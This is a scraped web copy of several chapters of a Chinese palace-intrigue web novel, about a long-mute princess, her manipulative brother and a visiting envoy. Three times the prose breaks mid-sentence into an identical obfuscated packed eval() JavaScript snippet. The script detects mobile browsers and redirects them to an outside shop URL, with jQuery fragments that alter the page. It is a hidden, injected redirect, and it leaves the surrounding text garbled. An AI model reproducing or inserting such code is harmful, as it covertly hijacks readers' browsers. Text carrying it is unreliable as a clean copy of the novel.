严修明听着,有点不耐烦了。明明双方都清楚事实,康朔却执意将一个漏洞百出的谎言,层层粉饰,直到编圆了。 他是真的难缠。也怪不得周兆安提起此人,便咬牙切齿。此刻连他自己,都想骂上两句。 “康王这是强人所难啊,我可做不了这个主。”他冷声道。 “唉,本王也是没办法。”康朔长叹一声,目光转向身侧的康缇,瞬间换了一副宠溺的眼神,“我就这一个妹妹,自小视若珍宝。此番为她置办嫁妆,几乎掏空了家底。可我西康还有万千子民,他们也要穿衣吃饭啊!再者,陛下赐我粮帛,我返以丰厚的嫁妆,最终惠及的不也是你们大雍的王妃吗?” 这番强词夺理,堪称诡辩之极致。 严修明都气笑了。 他摇了摇头,轻叹一口气,目光下意识地再次投向康缇,正撞上她的视线。 康缇的表情依旧平静,甚至因为过分平静,而令人不自在。于是,严修明敛去笑意,又将目光转向康朔:“康王,你这般……” 他正说话呢,席间突然冒出一个陌生的声音。一个极其轻微、略带沙哑的女声。 “我……不要嫁妆。” 这声音舒缓、娟秀、沉郁,却如同惊雷一般,将所有人心中的盘算,都劈成一片齑粉。只因这句话,是从康缇口中说出的。 西康公主不是有哑疾吗? 严修明脑中瞬间空白,旋即有被无数疑问填满。 她怎么会说话了? 该不会又是康朔的把戏吧? 是他另找个人替代真正的公主? …… 一连串猜测,在他心中涌现。然而,当他看向康朔时,这些猜测便显得多余了。 因为康朔此刻脸上的震惊和茫然,比他要多十倍、百倍。而且看得出来,这绝非伪装。 “你……”康朔到像是不会说话了一般,磕磕巴巴,“你……说……说的……什么?” “我可以,不要嫁妆。”康缇又重复一遍,说得很慢,音调也有点奇怪,似乎是长久未曾说话,有些生疏。 康朔还是不敢相信自己的耳朵。他猛地从座位上弹起,踉跄着扑到康缇面前,双手捧着她的肩头,激动地问:“你不是哑了吗?你这是……你是……几时会说话的?” “我从未哑过。”康缇淡淡说道,“只是不想讲话。” “不可能!不可能!”康朔频频摇头,双眼因为过分激动而开始发红,“十年啊,整整十年……这怎么可能?” 是啊,这怎么可能? 是什么原因,可以让一个人,生生忍住十年,不曾开口讲一句话? 严修明内心的震撼,丝毫不亚于康朔。他怔怔地看着康缇,看着她那饱满的唇瓣,在一开一合间,吐出平淡克制的声音。 这位西康公主,远不止是“疯”那么简单。十年的沉默,无异于一种另类的自戕。能对自己如此狠绝,她究竟是为了什么? “王兄。”康缇又唤了一声,这一声比前两句稍稍自然了些,“还记得格青王嫂吗?” “你提她作甚?”康朔问,“可是……可是那次吓着你了?都是王兄不好!那时她丧心病狂挟持了你,我……我太过激愤,所以才会……”他说着说着,便哽咽住了。 康缇看着他的样子,皮笑肉不笑地扬了扬嘴角。 儿时她辨不清人心,现在想来,王兄当着她的面,割下格青的舌头,或许不全是因为自己,而是想展示自己的权威和手段,让年幼的自己,永永远远崇拜他,敬畏他。 “王兄不必自责。当时是吓着了,却也无事。只是自那以后便觉得……”康缇微顿一下,眼神变得空洞迷惘,“若言语只为了遮掩胆怯,混淆视听,那不说也罢。” 她缓缓将康朔的手,从自己肩上推开。然后,转过身,目光落在严修明面前那堆账册碎片上,“王兄若是想填补为我置办嫁妆的亏空,其实不必煞费苦心,编出这许多说辞。我不要便是。” “你在胡说什么?!”康朔脸色煞白,“我编什么了?我所言句句……” 康缇懒得与他对峙,更不屑列举他诸多谎言,只冷冷抛下一句:“王兄,我能寻出一个石勒赫,便能寻出第二个。” 事实就在那,永远假不了。 话说到这,事情已经很明了了。话音落下,场中顿时一片死寂,静得颇具压迫感。就连从旁伺候的婢女内侍们,都垂眸敛目,大气也不敢喘一下。 这番情景,恰恰印证了康缇那句话是对的。 言语不过只是用来混淆视听的。当事实摆在眼前,混无可混的时候,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062464|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不需要语言去粉饰了。沉默本身,就是裁决。 时间在沉默中被拉长,半晌又半晌。 然后又半晌。 严修明自斟自酌,喝得有滋有味。眼尾的余光时不时瞥向康缇,心下喟叹:这位“疯子”果然没让人失望。 而康朔则如霜打的败叶,面色惨白僵硬,胸口更是起伏不定。他只觉得手上那一小片灼伤,此刻异常刺痛,痛到全身都忍不住发抖,后槽牙咬了又咬。 康朔已经顾不上严修明了。什么雍使,什么谈判,什么粮绢战俘,在此刻都变得无足轻重。 他眼里只剩下康缇,只剩这个十年未闻其声、一开口便戳他心窝子的妹妹。他只想知道,康缇是否已横下心来,要与自己手足决裂。 “缇儿。”康朔缓缓起身,俯视着端坐的妹妹,“十年了,你今日才愿意同为兄说一句话。这也是计划好的吗?” “原本不是。可要说是,也算。”康缇看也不看他。 “此话何解?”康朔勉强挤出一个惨笑,“为兄实在好奇,究竟是什么原因,能撬动你这张嘴?” 康缇从容起身,后退一步,双手抵在额前,躬身向康朔行了个礼,而后微笑着说:“王兄为我操劳半生,缇儿感激不尽。而今又为我谋划,送我入雍为妃,更是费尽心机。可缇儿无以为报,实在惶恐,不敢再让王兄破费。既然天命注定我要做大雍的王妃,想来,雍帝陛下自有恩赐。这三瓜两枣的嫁妆,倒也无所谓,王兄自己留着吧。” 这一番话,句句未提不愿出嫁,却句句都是这个意思。不仅如此,还夹枪带棒地讥讽王兄。 这些,康朔岂会听不出来? 可这话也太难听了。十万石粮、五万匹绢,这是笔不小的数目。康缇被他惯的,养尊处优,竟嫌弃这是三瓜两枣。 “你说的什么混账话!”康朔被气得,声音已经劈了岔。 “混账话?”康缇笑意更甚,“王兄啊,这不是你教我的吗?我自幼见你便是这样,不管虚的实的,皆可东拉西扯,极尽矫饰。说出口的话,只要能唬住人便是好话。我今日开口,就是请王兄验一验,缇儿学得可还行?” 这番话,彻底激怒了康朔。他听着妹妹讲话很慢,但每一个字,都像一把钝刀,扎在自己的心头,痛得他头晕目眩,理智全失。 鬼使神差间,他竟抬起手臂,猛地朝康缇脸上掴去。 可是,那手掌还没挨着,就被另一只手紧紧攥住。 是严修明。 他已立在两人之间。 “康王。”严修明声色从容,却铿锵有力,“康缇公主乃圣上亲许的王妃,尔等属国之君,即为臣下,岂敢对大雍王妃动手?” “严,严正使?”康朔没料到严修明突然介入,猝不及防下变得面红耳赤,表情僵硬。待稍稍缓神后,他又梗着脖子强辩,“康缇尚未出阁,仍是我西康公主,我这做兄长的,管教妹妹,有何不可?!” “康王此言差矣。”严修明并未松开手,语气平和却寸步不让,“雍康两国国书已换,陛下聘礼已纳,公主名位已定,天下共知。康缇公主已是大雍之人,我等身为雍臣,护王妃周全,乃分内之责!” 也不知为何,严修明说这话时,心底不由自主激荡起一阵快意。他目光灼灼,带着胜利者惯有的辉芒,毫不避讳地刺向康朔。 两只手臂在无声中暗暗角力,肌肉紧绷,青筋微现。片刻后,还是康朔先撤回了力道。他猛地甩开严修明的手,广袖一拂,负手转身,强迫自己压下愤怒。 而另一边,康缇默默地看向严修明,眼中满是惊诧。 11. 谈判(5) 战俘交接之事,被康缇一搅和,康朔也没了心气儿,再无力多作纠缠。最终,雍康两国议定,由雍朝拨付两万石粮、一万匹绢,交由西康,换回一千被俘雍军。 天色渐晚,严修明志得意满地离开王宫。回到西华馆后,他将议定的结果告知了周兆安等几位副使及核心属官。众人听罢,都松了一口气。借着人员齐整,严修明索性召集诸位僚属,令各人依次禀报所负责事务的进展。 无非是纳采、问名、纳吉等仪程细务,两国礼官早已接洽妥当,进展顺利。其余探查、文书、驿传等事,回报上来的也多是“诸事顺遂”。如此盘算,此番使团的差事,竟已完成了七八成。 按照严修明的习惯,出门在外,虽然不主张铺张奢靡,却也不会委屈自己与属下。每次差事有点成效,总要设下宴席,犒劳诸位。 今日他心中颇为畅快,便命人在西华馆内预备了一席酒馔,邀几位主要僚属共酌,以示庆慰。众人连日劳顿,得此放松的机会,自然也是欣然前往。 然而,宴席尚未开筵,康缇的贴身婢女红熙匆匆赶来,说康缇公主要见见严修明,马上就见。 “公主要见我?”严修明颇感意外。与那红熙反复确认,康缇不仅要见他,且是单独召见,地点便定在璇玑塔内。 “胡闹!”他面露愠色,对红熙厉声斥道,“我乃雍使,夜间私见公主,成何体统?你们是想害我,还是想害公主?” “不是的……”红熙被他斥得肩头一缩,声音低低软软。她半咬着唇,小心翼翼地从身上摸出一物,递至严修明面前。 那是一颗珍珠,在灯影下,散发着莹润的光。 严修明一眼便认出,这是启明大典上,自己抓住的那一颗。他不由得抬眼,望向使馆不远处那座高塔。恍然间,第一天落脚时,塔中那似幻似真的白影,再次浮现心头。 记忆总是抽取相似的画面,黏连起来。一瞬间,他又想起儿时见过的白衣疯妇。 他记得清楚,那疯妇递来一块发霉的糕点,招呼他过去玩。那时他只觉得害怕,转身便跑开了。 而今夜,他要去看看。 ﹡ 璇玑塔,是康朔当年专为康缇修建,虽然外观并不奇崛,但内里却是极尽奢靡。地面铺着繁花栽绒毯,踩上去绵软无声;四壁皆以檀木为板,其上镶嵌螺钿纹饰;楼梯扶手更嵌以青玉雕饰,触感温润…… 严修明由红熙引着,拾级而上,直至进入一间高层的敞轩。 此处虽高,看上去却颇为开阔,三面皆是极大的窗棂,垂挂的薄纱,在夜风中轻轻摇晃。轩内陈设同样奢华,金银器、螺钿、玉石……在无数灯火映照下,辉耀斑斓,仿佛置身星河之中。 红熙请严修明稍候,自去内间禀报。不过片刻,轩内一侧的竹帘轻轻晃动,发出细微的碰撞声响。 一个月白色的身影,自帘后缓缓步出。正是康缇。 先前严修明见她,多是白日里,康缇像一尊精心雕琢却了无生气的玉像,美则美矣,可眉宇间皆是生人勿近的气质。而此刻烛光晕染下,倒是多了几分朦胧柔和,像古画中的女子,幽昙静放,气韵清远。 “见过严正使。”康缇颔首一礼。 再次听见她的声音,严修明不由得心头一紧,赶紧起身回礼:“公主殿下。” “严正使请坐。” “公主请。” 康缇屏退左右,两人在窗边一张紫檀木榻上相对而坐,彼此却无任何言语。只有一张云石案几,几上是红熙倒好的茶。茶香悠悠,恰到好处地飘在中间,将二人隔开。 严修明纵横沙场,历经宦海,见过大场面无数,可从未像现在这般,局促不安。一则,对面是位女子;二则,这女子不日将成为陛下的新妃,身份敏感;三则,她整整十年未曾说过话。 前两重顾虑,尚能克服,只要以礼相待、非礼勿视,也没什么大不了。关键是第三点。 白日里,康缇曾说,言语不过是混淆视听,粉饰不堪。能说出这句话的人,想必也能辨明虚实,堪破人心。面对如此心思敏锐、洞察犀利的人,讲话更要慎之又慎,千万不能让对方摸出自己的心思,贻笑大方。 于是,严修明索性一句话也不讲。 至于康缇,白日谈判后,她一直放不下一件事,便是严修明为自己挡了一掌。 她想知道,这位素昧平生、立场相对的异国使臣,当时究竟是如何思量,是出于职责、义愤,或是……有别有深意? 可如今人就在眼前,那些疑问,却问不出口。她不愿让对面这人察觉,自己竟将这点小事放在心上;更不愿因自己这份过于在意这件小事,反给对方平添负担,或引起一些不该有的遐想。 于是,寂静便在沉默中,与烛光一同摇曳。 然而,一个每日与人事周旋的人,再怎么憋着,也憋不过一个沉默了十年的人。 再者,今日严修明亲口张罗了筵席,总不好让一众僚属久等。 “咳咳。”严修明清了清嗓子,“不知公主殿下深夜相召,所为何事?” 听到严修明说话了,康缇从沉默中抽离,不得不应声:“也无甚大事,只是……”她心中飞速琢磨下一句该说什么,终于在瞥了一眼严修明后,灵光一现,“今日邀正使前来,只想闲叙片刻,怎料正使换了一身公服,只怕招待不周。” “唔,觐见公主,自当谨守礼制。”严修明的声音有些不稳。 “呵。”康缇轻笑了下,旋即微微抬眼,看向严修明:“严正使,我能看看吗?” “看什么?” “你们大雍的公服。” “唔,当然可以。” 说罢,严修明从榻上起来,后退两步,于光亮处长身而立,笔挺高大的身姿,好似一根盘龙柱,威仪自生。 康缇缓缓起身,一步步向严修明走来,止步在咫尺之外。她微微抬眼,猝不及防地撞上了严修明的目光,又迅速眨动着睫毛,看向这身紫服。 公服庄重沉稳,宝相花暗纹繁复,覆在严修明起伏不定的胸膛上,如波涛澎湃。康缇看着那胸膛,突然觉得有点难为情,便轻轻挪动脚步,转到了他的身后。 而严修明,他有点后悔应下这个要求。这般专注的凝视,令他浑身不自在,感觉全身上下都僵住了。尤其是后背,被康缇身上的香气熏着,像是被蒸了一般,激得他浑身汗毛根根倒竖,又麻又痒,十分熬人。 半晌,康缇的声音从身后传来:“这宝相花中,可是蟒纹?” “是。”严修明也轻声回答,生怕惊扰到什么。 “我见过蟒纹,却从未见过真蟒,严正使见过吗?” “见过一次。”严修明道,“早年在西南边陲,雨夜行军,道路泥泞,本就不好走,又忽然见着一个黑黢黢的,水桶一般粗细的物什,横在路上。起初还以为是山洪冲下的朽木,谁知战马行至近前,那东西突然蠕动了,速度快得惊人。那马也被惊着了,一声嘶鸣,跳将起来,将兵士摔下马背。后来火把凑近一照,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062465|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪是什么木头,竟是一条巨蟒,光一颗头颅就有面盆那么大。好在我们人多势众,聚来一堆火把,硬是将那巨蟒吓退了。” “噗——”康缇发出一声轻笑。 严修明顿时感觉轻松不少。 “你怕了吗?” “怕。” “你们武将个个骁勇善战,见惯了生死,竟会怕一条蟒?” “那不一样。”严修明微微侧首,余光瞥向身后,只见着一小片月白色残影,“上阵杀敌,死了也是英雄;若是葬身蟒腹,这死法……未免太难看了。” 闻言,康缇突然没了兴致,轻轻叹了口气:“左右都是个死,竟也分出高低贵贱了。”说罢便转身,缓步回到木榻旁,添了块新炭,将案几旁的茶又温了温。 严修明也坐回到榻上,小心翼翼地看向她,只见她眼帘微垂,表情黯淡,暗自琢磨是不是自己说错话了,惹她不悦。 茶香淡淡,思绪万千。就这样,两人又开始沉默。 半晌,康缇又看向严修明,率先开了口:“大雍的皇帝,是怎样一个人?” 严修明略作沉吟,端正了坐姿,郑重地回道:“陛下登临大宝以来,北驱胡虏、南平六诏、东抚海波、西通商路。此赫赫武功,光耀史册。而文治之道,更有重修律典、疏浚漕运、广开科举。谁能想到,陛下励精图治,短短十余载,便换得今日四海升平之象。这番伟业,可追上古尧舜。” 说这番话时,严修明的语气愈发激动,他似乎忘了圣上龙体欠安,朝局不宁,只虔诚地描绘心目中的圣君:“陛下不仅是君父,更是天命所归。他所行之事,所图之业,皆为开万世之太平。我等大雍子民,莫不感念其恩德。得见陛下天颜,便如仰望日月,心中唯余敬畏与赤诚……” 一番慷慨激昂之辞,全是严修明的肺腑之言。儿时的他,就是如此看待雍帝李齐的,甚至一度以他为信仰。因此,他说得字字铿锵,令人心潮澎湃。 康缇似乎也被触动,带着几分天真,问道:“真的么?” 严修明喉头一动,差点就将“是真的”三个字脱口而出。可他抬眼时,看见康缇纯净剔透的眼睛里,闪动着一丝脆弱的期许,便又将那三个字哽在了喉里。 真的么? 曾经的雍帝李齐,或许担得起这番赞誉。可自从他中风以来,似乎变了个人。多疑暴戾、行事偏执、急于求成……种种这般,使得朝堂之上人心浮动,岌岌可危。 如今的李齐,还算是圣君吗? 身为大雍使臣,于外邦公主面前,严修明应该毫不犹豫地说“是”。 然而,对面是康缇。 一个能看透言语的虚妄,宁可沉默十年的人。如何能骗得了她? 一个年轻鲜活,貌美无双,却无法左右命运的女子。不骗她,又能如何? 严修明抿着嘴,种种思量在心中,相互缠斗,始终决不出一个万全的答案。他顿时觉得喉中干涩,便缓缓抬手,从康缇手边,取来一杯茶,一饮而尽。 茶汤划过喉咙,浇灭了所有焦灼。 接着,他深吸了一口气,重新迎上康缇那双清澈的眼睛,缓慢而沉重地说道:“是真的。” 放下茶杯后,严修明心中坦然了几分,只等着康缇的冷嘲热讽。 可康缇只是怔怔地看着他,眸光里闪动着破碎和迷茫。 半晌,她才道出一句:“白日在清心台中,多谢严正使出手相护。” 闻言,严修明舒了一口气,如蒙大赦。 12. 手足(1) 浅叙几句后,康缇送走了严修明,又独自坐回窗边的木榻,端起剩下的半盏茶,默默饮尽。 “公主,夜深了,还是少饮些茶水吧,该睡不安生了。”婢女红熙从旁提醒道。 “今日便是滴茶不沾,怕也睡不安生,还不如将它喝透了。”康缇望着杯底,眼神空洞,声音也弱得像叹息,“喝透了,兴许就好了。” “唉。”红熙低低叹了一口气,再未多劝,只是默默转身,又往炉中添了一块炭。 “你先回去吧,回王宫去。”康缇突然道。 红熙一愣:“那公主您……” “我今夜留在这里。”康缇说着,望向窗外西华馆的方向。 “那奴婢留下陪着公主。” “随你,”康缇语气冷淡,“今晚夜不归宿,王兄肯定要怪罪的。你若不怕,留下也无妨。” “……” 红熙张了张嘴,终究没敢说话。她看着康缇的侧影,孤独清冷,总有些不尴不尬的。她是半年前才来伺候康缇的。早先也伺候过许多西康贵族,却鲜少与主人处成这般。说这主仆俩好吧,公主平时并不怎么搭理这个贴身婢女;说不好吧,公主又时常打赏。 冲着这些打赏,红熙原本觉得该多尽些心,多陪陪公主,可她也确实惧怕王上。踌躇片刻,她还是矮身行了一礼,悄悄退了出去。 半晌,康缇缓缓回头,看了眼红熙离开的方向,见那里空荡荡的,眼中更加黯淡了。 这些年来,她换过无数个贴身侍女,倒不是因为自己太挑剔、难伺候,而是王兄总不满意。他需要的婢女,是对自己言听计从、绝对忠诚,且能按照他的意思,照顾好康缇。 就这一点,任谁都为难。一个是王,一个是主,该听谁的? 这些女孩儿、嬷嬷,栽在兄妹俩这个坑里的人,数不胜数。康朔待自己的侍者倒是宽容,待康缇的侍者却极为严苛。她们稍稍伺候不好,轻则训斥鞭挞,重则处以极刑,硬生生走了一个又一个。 康缇也早已习惯了。不论下面人做得好坏,她都懒得搭理,否则动辄被王兄换来换去,又要兴师动众地麻烦一阵。 炉中的炭火“霹雳吧啦”响,每次炸开的火光,转瞬即逝,是敞轩中唯一的暖色。 人真是奇怪得很。从前被禁锢在这璇玑塔中,康缇日夜煎熬,巴望着早日离开这个鬼地方;如今禁令解除,来去自由,她却反而更愿意在这塔中待着。 晚风微凉,从窗口潜入,轻轻抚动了发丝。月色苍白,也漫过窗棂,无声铺了一地。 也许是太过寂寥,康缇无意识地哼唱起歌谣来: “风轻轻,草青青;女儿心是天上星;阿娜教咱们,歌儿唱给夜晚听,空山深处有回音……” 这是阿史那格青曾唱给她的。 这十年来,康缇总会想起格青。或者说,她根本忘不了这位王嫂。 她记得,当年格青被康朔割去了舌头,但因止血及时,保住了性命。只是从左边嘴角到脸颊,留下了一寸多长的疤。那疤痕让她左边嘴角总似挂着微笑,可那疤太大,这笑脸也看起来颇为诡异渗人。 后来,格青被带回了王宫,康朔待她依旧如常,而且比先前更加疼惜。不仅将库中珠宝源源不断送给格青的寝殿,更会在政务繁忙时,想方设法抽时间陪伴她。二人独处时,康朔会耐心地为她描眉梳发,甚至会亲吻她嘴角那道伤疤。 至于格青,受了那般酷刑,倒也没全然失声。她还能说些话的,只是声音模糊难辨,别人也听不大懂。慢慢地,话也就少了,人也比先前更加乖巧。 这时的康缇,已经不再记恨格青了,甚至对她心生怜悯。 因为她发现了语言的虚伪,发现一切都是康朔操控人心的话术和手段。而格青付出那么大的代价,却没有得到王兄的爱意。 不值得。 本以为那件事已经结束了,日子会这样一天天过下去。谁料一天雨夜,格青自缢了。 康朔抱着她冰冷的尸体,哭得撕心裂肺。他接连数日,水米不进,形容枯槁,一度哀伤到昏厥。 这些,康缇都看在眼里,内心再次受到震撼。 人说的话可能是假的,但做的事绝对假不了。若此前王兄的柔情蜜意,都是虚与委蛇。可人已经死了,他实在没必要再演下去。 难道说,康朔是真的痛? 若真的痛,那便是真的爱。 那么,是王兄对格青的情义,本就是真的?还是演着演着,变成了真的? 那么,王兄待自己呢?又是怎样的情义?他当真爱她吗? …… 一想到这些,康缇便感到一阵眩晕。 她颤抖着手,抓起茶杯便往嘴边送,却发现杯中早已空空如也。她微微倾身,伸出左手想去够放在旁边小炉上的茶壶,而右手顺势垂落,一不小心将案几上的茶杯打翻了。 “哗啦——” 茶杯碎了,尖锐的声音令康缇心中一颤,一股窒息感蹿了上来。她完全看不懂王兄,更看不懂这世间的情感。这些困惑哽在心中,无法宣之于口。 她需要康朔的回答,但却不信他口中的任何一个字。 ﹡ 翌日清晨,康缇从璇玑塔回到了自己在王宫的居所——□□馆。 甫一踏入院门,便察觉院中较往日安静了许多。再往前厅,里面更是安静得反常。往日此时,洒扫的、浇花的、往来传递物件的内侍婢女早已忙碌起来,可眼下竟不见半个人影。 “呵,”康缇唇边掠过一丝讥诮,“康朔果真来了。” 她早就料到,王兄昨日在严修明面前折了面子,这笔账迟早要算在自己头上。只是没料到他这般急不可耐,一大清早便来清场候着了。 无妨,康缇才不怕。 一个被最爱的兄长,像物件一样交割出去的人,还有什么好怕的。 她目不斜视,径直穿过前厅,来到寝阁。一进门,果然见到阁中端坐着一人,另有两名婢女静立伺候。 可这人不是康朔,而是自己的王嫂何瑛姃。 “怎么是你?”康缇停下脚步,语气冷淡。 “缇儿!”何瑛姃立刻起身,脸上绽开惊喜,雀跃着迎了上来,双手握住康缇的手臂,上下打量着,眼中竟隐隐泛起泪光,“你真的能讲话了!太好了,真是太好了……”她喃喃重复着,喜悦之情溢于言表。 康缇不耐烦地抽回手臂:“我乏了,要歇息。”她转身向卧房而去,边走边唤,“来人!送王妃回去!” 可何瑛姃并未依言离开。她微笑着,遣走了要送她离开的内侍,然后像影子一样,默默跟着康缇。 进了卧房,何瑛姃自然而然地上前,替康缇宽衣,动作轻柔熟练。见她躺下后,又顺手将榻边的绣鞋摆正,并走到香炉边,点了一小撮安息香。最后回看了一眼康缇,这才走到门边,坐在一张小凳子上,悄悄守着。 这一连串动作,行云流水,没有丝毫王妃的架子,倒更像是个婢女。 说起来,何瑛姃原本就是康缇的婢女,也是这□□馆中,唯一一个不是因为犯错被换走的婢女。 心思玲珑剔透,察言观色的本事一流,说话做事更是熨帖。更难得的是,她还识得些字,通晓情理。尤其擅长在这对骄傲固执的兄妹之间,找到微妙的平衡。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062466|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她侍奉康缇时,从来都是顺着康缇的心意,却又能在她任性逾矩时,以理相劝,温和而坚定。不像其他宫人,动辄抬出康朔来压她,张口便是“王上吩咐”“王上不许”…… 而康朔那边,每日不管忙碌到多晚,何瑛姃都要从璇玑塔赶去王宫,将这一日康缇的饮食起居、言行举止,事无巨细地禀告康朔。 偶尔,她还会挑些不打紧的问题,请教一二,显出依赖与恭顺。若她有自作主张、违背康朔之举,也会毫不遮掩,如实告知,并将缘由剖析得清清楚楚。 如此,既不委屈康缇,也让康朔感觉,一切尽在掌控中。 能让这兄妹二人都喜欢的婢女,何瑛姃是独一个。单凭这一点,就足以让康朔对她另眼相看。 加之她容貌清丽,性情柔韧又不失主见,又每日夜间雷打不动地出现在康朔面前。孤男寡女,灯火昏黄,久而久之,一种异样的情愫便悄然滋生。最终,康朔力排众议,娶了这个出身微贱的婢女。 起初,康缇很是不悦,觉得自己好不容易得了个可心人,转眼又被王兄夺了去。但冷静下来想想,人往高处走,水往低处流,本是世间常理,也就释怀了。只是自此,心里存了几分芥蒂,待何瑛姃不如从前那般亲近。 不过何瑛姃似乎全不在意。每次回到□□馆,依旧如婢女时期那般,伺候着康缇,而这位性子傲慢的公主,竟也默默顺了她。 或许是连日的紧绷,加上夜里熬了一宿,疲惫到了极限,又或许是有了何瑛姃的守护,康缇这一觉竟睡得异常酣美。待她一觉醒来,已是未时半刻。 刚走出卧房,一股饭菜香气扑鼻而来。只见外间桌上已摆满了精致的碗碟,多是合她口味的菜肴。其中一道炖乳鸽汤,汤色清澈见底,鸽肉大小均匀,一看便知是何瑛姃的手艺。 “缇儿醒了?” 一声轻唤,从门口传来。是何瑛姃从厢房小灶过来,身后还跟着两名内侍,将最后两道菜摆在桌上。 “睡了这大半日,定是饿了吧?”她牵起康缇的手,将她引到桌边,一同坐下,“快趁热用些,都是刚备好的。” 康缇依旧垂着眼,虽然对她爱答不理,但却颇为听话,一手执箸,一手端碗,吃了起来。何瑛姃在旁边为她布菜,专拣她爱吃的夹。 “你,”康缇忽然停下,眼睛盯着碗里的饭,声音有些不自然,“你,用过饭了么?” 何瑛姃闻言,眉眼弯了弯,手轻轻抚上自己的小腹:“我这一胎,害喜得厉害,都四月有余了,还是吃不下什么东西。这孩儿,定也是个折腾人的。” 果然是康家的种,都是不让人省心的。 康缇虽然还未出阁,却也听说过,妇人害喜严重时,莫说进食,有时闻到饭菜的气味,都要吐得天昏地暗。 不知方才何瑛姃在灶间为她张罗这些时,是否也觉得反胃难受。 想到这里,康缇心底掠过一丝涩意,想说些什么,可话到嘴边又觉别扭,最终只含糊地嘟囔一句:“还是要吃些的。” 何瑛姃是个伶俐的人,哪怕是蚊子一样的声音,也听得清楚。她笑了笑,温声回道:“放心吧,我见你这儿有西域进贡的蜜瓜,便尝了些。到底是于阗国的贡品,清甜沁脾,爽口得很。只是没先问过你便动了,缇儿不会怪我吧?” 康缇摇了摇头,目光仍落在碗碟间,声音平淡:“我这还剩许多,你一会儿都带走吧。” 何瑛姃望着她,脸上的笑意更深了:“那多谢缇儿了。” 闻言,康缇手中的食箸微微一顿,耳廓悄然漫上一层红晕。她立刻夹起一大箸菜,飞快地塞进嘴里,借此掩饰自己的无措。 13. 手足(2) 眼见着康缇吃得差不多了,碗箸将歇,何瑛姃这才适时开口,委婉地道出今天的来意: “我听闻,昨日你拿了一个牙郎,在雍使面前,将那人焚了?还有那……” 康缇听着话风不对,未等她说完,“砰”地一声,将碗筷重重撂在桌上:“你提此事作甚?” 何瑛姃见她脸色变了,忙放软了声音解释:“缇儿别恼,我没有质问你的意思。只是此事乍一听,实在太……太骇人了,我总不大相信,是缇儿妹妹做的,便想问问,当真有此事?还是……另有隐情?” “就是我做的。”康缇冷声道,“没有隐情。” “唉!”何瑛姃叹了口气,眉宇间多了些忧虑之色,“政务上的事,我不大懂。可是我想,一个市井牙,无根无基,无权无势,纵使他再胆大妄为,还能掀了天不成?他是犯了多大的罪过,何以受此焚身之苦?” “……” 康缇抿紧着嘴唇,无言以对。 何瑛姃见她沉默,便又道:“你们兄妹之间,嫌隙生来已久。我说句不好听的,这真是神仙打架,凡人遭殃。这些年来,多少人为此摊上祸事?他们虽然为奴为婢,命如草芥,却也是个活生生的人啊。” 此人张口,没有疾言厉色,却句句命中要害。康缇还是无言以对,只将手放在膝头,反复揉搓着。 “缇儿,”何瑛姃倾身向前,语气放柔了些,“我知道你在璇玑塔中关了三年,此番又被远嫁他乡,心里定然是苦的。可人活一世,谁又不苦呢?” 她双目渐渐放空,回想起往事,“你也知道,我自小也是没了父母,跟着兄长过活。可我那兄长不及王上万分之一。我受人欺凌,他从不替我出头,更别说如珠如宝地护着我,能给一口饭吃,便是恩典了。我十岁那年冬天,接连两场寒潮,家中牲畜冻死大半,存粮眼看就要见底。我兄长,他为了一袋草料,便将我卖给了人牙子……” 她声音轻颤,哽了一下,旋即又平复下来,继续道:“可你看,如今我不是好好的么?比起从前挨饿受冻,不知好了多少。” 听了这一番话,康缇先前那点汗颜,一点儿都不剩了。 “瑛姃啊,”她向来直呼王嫂大名,“你是什么时候,把王兄那套混淆因果的本事,学得如此炉火纯青了?” “什么?”何瑛姃没反应过来,眨巴着眼睛。 康缇嗤笑一声:“照你这话,今日登上西康王妃之位,并非因你一路走来做过什么,而是多亏了你那兄长,好心将你卖了。他可是你的大恩人呐!” “不,我不是这个意思,我是想告诉你……” “瑛姃,”康缇不想听她分辩,双眼盯着她,一字一句地问“我且问你,你当真感激你的兄长吗?” 何瑛姃张了张嘴,却不知道该说些什么。她移开视线,沉默了许久,才低声吐出几个字:“我不怨他。” “哈哈哈哈……”康缇忽然大笑起来,旋即又问,“你现在不怨他,可当初在人牙子手里挨打挨骂时,也不怨他吗?” “我……”何瑛姃脸色煞白,喉头像是被什么堵住了。 彼时的苦,无法被此时消解。此时的苦,也无法被未来消解。 况且康缇站在此时,根本看不清未来是什么光景。 她看着王嫂,心底泛起一阵复杂的情绪。她不喜欢与人辩论,但也确实希望有人能理解自己。便又对早已哑口的何瑛姃道:“若我是你,既然兄长未曾给过我半分倚靠,那我也不指望。早早走出去,天大地大,生死由命,倒也干净痛快。可偏偏康朔待我如此……” 